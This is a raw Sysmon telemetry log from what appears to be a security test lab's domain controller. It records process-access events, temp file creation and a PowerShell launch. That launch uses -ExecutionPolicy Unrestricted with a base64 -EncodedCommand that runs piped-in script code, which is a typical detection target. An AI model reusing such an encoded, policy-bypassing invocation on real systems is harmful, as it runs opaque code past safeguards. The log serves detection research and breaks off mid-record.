09:08:40.674{A5F018FF-2898-5F80-FA02-000000007E01}3196C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\csgm5bcp.cmdline2020-10-09 09:08:40.674 11241100x8000000000000000129Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:08:40.674{A5F018FF-2898-5F80-FA02-000000007E01}3196C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\csgm5bcp.dll2020-10-09 09:08:40.674 10341000x8000000000000000128Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.252{A5F018FF-2897-5F80-F702-000000007E01}41282984C:\Windows\system32\conhost.exe{A5F018FF-2898-5F80-FB02-000000007E01}4844C:\Windows\system32\chcp.com0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000127Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.252{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000126Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.252{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000125Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.252{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000124Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.252{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000123Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.252{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000122Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.252{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000121Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.252{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000120Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.252{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000119Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.252{A5F018FF-2724-5F80-0500-000000007E01}6401156C:\Windows\system32\csrss.exe{A5F018FF-2898-5F80-FB02-000000007E01}4844C:\Windows\system32\chcp.com0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000118Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.252{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000117Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.252{A5F018FF-2898-5F80-FA02-000000007E01}31963400C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-2898-5F80-FB02-000000007E01}4844C:\Windows\system32\chcp.com0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3332f6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b5560|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b4f07|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+764c32a6(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+75964130(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+75963e01(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+76415466(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+75924997(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+75982e66(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+759664cb(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+759664cb(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+7596635c(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+759582e1(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+75964814(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+75964407(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+75964130(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+75963e01(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+76415466(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+7594ac62(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+7594a232(wow64) 154100x8000000000000000116Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.253{A5F018FF-2898-5F80-FB02-000000007E01}4844C:\Windows\System32\chcp.com10.0.14393.0 (rs1_release.160715-1616)Change CodePage UtilityMicrosoft® Windows® Operating SystemMicrosoft CorporationCHCP.COM"C:\Windows\system32\chcp.com" 65001C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-2897-5F80-B059-110000000000}0x1159b00HighMD5=BA6FD5B883C0899785D17CEBE66A25F6,SHA256=9FDBDF88CF2BB2794C416E3083553F2898AC9DC92DFAC2478B4C1DF667DF7C74,IMPHASH=4FB30D6E330F3FB3DB61550BD7FA7CCD{A5F018FF-2898-5F80-FA02-000000007E01}3196C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== 10341000x8000000000000000115Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.237{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000114Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.237{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000113Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.237{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000112Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.190{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-2898-5F80-FA02-000000007E01}3196C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000111Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.190{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-2898-5F80-FA02-000000007E01}3196C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x8000000000000000110Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.158{A5F018FF-2898-5F80-FA02-000000007E01}3196C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\__PSScriptPolicyTest_zi1kc0yo.ijj.ps12020-10-09 09:08:40.158 10341000x8000000000000000109Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.143{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2898-5F80-FA02-000000007E01}3196C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000108Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.111{A5F018FF-2897-5F80-F702-000000007E01}41282984C:\Windows\system32\conhost.exe{A5F018FF-2898-5F80-FA02-000000007E01}3196C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000107Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.111{A5F018FF-2724-5F80-0500-000000007E01}6402972C:\Windows\system32\csrss.exe{A5F018FF-2898-5F80-FA02-000000007E01}3196C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000106Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.111{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL